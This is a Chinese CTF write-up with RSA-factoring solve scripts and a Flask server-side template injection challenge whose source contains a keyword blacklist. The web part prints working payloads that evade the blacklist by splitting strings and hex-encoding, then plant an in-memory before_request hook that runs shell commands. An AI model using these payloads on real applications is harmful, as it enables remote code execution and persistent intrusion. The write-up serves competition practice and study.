今年 Crypto 和 Web 都出了一题,比去年爆零有进步吧。

Crypto

rasnd

apbq+Crypto Lost_N 两道原题拼起来的

py
# Challenge1
from tqdm import tqdm
import itertools
import gmpy2
from Crypto.Util.number import *

hints = [
2557457392940293500328359806873861875519711481607248554411143012708460425506405789861902031579370061977302000223121866368860022598772849341765291528563673049510720538970173102917163952881804952885006117660936455147884466194798547196954808660958447621515897160217807304714379022277335659774178828521743187603819725393042228215840466110421890974
+ 0x114,
116295189092619963082902515366717554600549607012427171423085625874290045323933400485296666515430155868196222996791749346284352905864283845948708574810913619298848897491790626621390599735516170691148595355670350984178660367914739924363764513926090718641605753288702666184926577428156828631556507126922052875637495536206815385499444800465432852627404959899113672056659625780674323760035826622873691200487204379128102684960705926490338301444566387462457750081546919
+ 0x514,
]
n = 20806169591531852535748465724228648360578231312887226007313004321781244544591722736912461242351409048602920851558150388726657424005676834728977344468751844526125821029164446885764293791657556136110856902679276161205982713931546310002086537632479547320731001845444387665995580877305481273832226754581987095693788901842328627715428608352767249841930285031357514559169082374339482225473027760245720853784538107370565108979115083390982931240869875045901257621854864904889398765582177650568113189257542481290798798524973730181435458613460739132020093706531929423703793591341633478130997904916596385519593671702268702134087
c = 536010476606635653312788231923076931516462049139210471564909569926405559656638584793612712974721373330580097241624607902861852803583583759683666747875998365735184555964371456855603421787147579992045110220401874570382192138429435829202111482921785987286121754193943724097709711208055715614082672182211905307787395657956826340138960818056336726833036377862997120529421725722181193122397978189573254114044284740849367707617697793561043893746701612789751579517731707978708880198450398476854383433318794224254767398690676674110968900647218058795428209939053198996801584171887829356729227782668483836785995104071375473924

for a1, a2 in tqdm(list(itertools.product(range(2**13), repeat=2))):

kp = gmpy2.gcd(a1 * hints[0] - a2 * hints[1], n)
if 1 < kp < n:
print("find!", kp, a1, a2)
break

for i in range(2**16, 1, -1):

if kp % i == 0:
kp //= i

p = kp
q = n // p
assert p * q == n
phi = (p - 1) * (q - 1)
e = 65537
d = inverse(e, phi)
m = pow(c, d, n)
flag1 = long_to_bytes(m)
print(flag1)
# Challenge2
from Crypto.Util.number import *
import gmpy2
from sympy import *

n = 23262732293229358083313763688306829836026670165087916086734561278396678241656458879545705186386284765797310589032803382841089305568228218217057507039263725250850342614633405534978808661467954778754379627585945536520928291619157856751168742864329379308816486254463786631277756799513534040865320357262030289788808490091504548809535320786222530782821959793700739184806991653308394782496608798380161960610159584907715384807909956187291164062938469312837265779657671191858515277752125826457413348844289649434936315736918853367893641335376476456279899321360423503025949635226339892436658767405548381713247310078003468242087
c = 4554147243203351412015416542723152157451446348473858599235336912806129388411845156169568228915682438875407840298551630375082918363157925212724376617282161999033871732791337125028044639486045779799567856238632278457670563486477304329354135108110255019457724889864855423777350694858938327475420669238460694686802205335443757093204076245363697160620221919252287389118330667371353238798143184745221804992220835755648831999827803338959219319297206305500882971292800010027082836350543680491062048276792723896580393712631162079863135915524226438979820043808097059331411472786135304531385863672347267254031863634786717096518
s = 292600782611894602100843370703499439990421550481170386599544938001831324046610358243795343135278824047366453021333025829867150543221759315172622082462644013075786057427322676095295000499594613657120910064112175384534918697853968943745652152045720821909817027427167284881559799883981197088905517932666403864547076024853674620321957678979670416395826054959008683030881806347418552961917423765948727075011053296514981084140118634409054379971680502361388294185032175816323686808183929151995563777112405386898759047885828705769312865992008914758408654963885468459423737972654094097229055829797885363200129459707182512850
e = 65537
m1 = gmpy2.invert(s, n)
p, q = symbols("p q")
eq = [p * q - n, 514 * p - 114 * q - m1]
result = nonlinsolve(eq, [p, q])
result = list(result)
p, q = int(result[1][0]), int(result[1][1])
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag2 = long_to_bytes(m)
print(flag2)

flag = flag1 + flag2
print(flag)

Web

Safe_Proxy

题目给了源码

py
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)


@app.route("/", methods=["GET"])
def source():
with open(__file__, "r", encoding="utf-8") as f:
return "<pre>" + html.escape(f.read()) + "</pre>"


@app.route("/", methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = [
"__",
"import",
"os",
"sys",
"eval",
"subprocess",
"popen",
"system",
"\r",
"\n",
]
for black in blacklist:
if black in template_code:
return "Forbidden content detected!" + black
result = render_template_string(template_code)
print(result)
return "ok" if result is not None else "error"


class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break

if not request_data:
client_socket.close()
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)

response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk

header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4 :]
else:
body = response_data

response_body = body
response = (
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n"
b"Content-Type: text/html; charset=utf-8\r\n"
b"\r\n" + response_body
)

client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()


def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(
f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}..."
)

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(
target=proxy_handler.handle_request, args=(client_socket,)
)
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()


def run_flask_app():
app.run(debug=False, host="127.0.0.1", port=5000)


if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(
target=start_proxy_server,
args=(proxy_host, proxy_port, target_host, target_port),
)
proxy_thread.daemon = True
proxy_thread.start()

print("Starting Flask app...")
run_flask_app()

render_template_string 类型是典型的 SSTI,题目不出网导致无法反弹 shell 带出,可谓 RCE 了却只能干瞪眼。
思路很多。盲注,写内存马,设置静态目录写文件应该都可以。
https://blog.csdn.net/2301_80148821/article/details/143237394
利用这里的 before_function 钩子函数写内存马
理论上一个 16 进制能绕过所有过滤。这里为了可读性改了一下

{{self['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ev''al']("_""_imp""ort_""_('o''s').popen('whoami').read()")}}

eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")

最终payload:
{{self['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ev''al']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x73\x79\x73\x27\x29\x2e\x6d\x6f\x64\x75\x6c\x65\x73\x5b\x27\x5f\x5f\x6d\x61\x69\x6e\x5f\x5f\x27\x5d\x2e\x5f\x5f\x64\x69\x63\x74\x5f\x5f\x5b\x27\x61\x70\x70\x27\x5d\x2e\x62\x65\x66\x6f\x72\x65\x5f\x72\x65\x71\x75\x65\x73\x74\x5f\x66\x75\x6e\x63\x73\x2e\x73\x65\x74\x64\x65\x66\x61\x75\x6c\x74\x28\x4e\x6f\x6e\x65\x2c\x5b\x5d\x29\x2e\x61\x70\x70\x65\x6e\x64\x28\x6c\x61\x6d\x62\x64\x61\x20\x3a\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29\x2e\x72\x65\x61\x64\x28\x29\x29")}}

流量题

zeroshell_1

wireshark 直接搜 Zmxh 就拿到 flag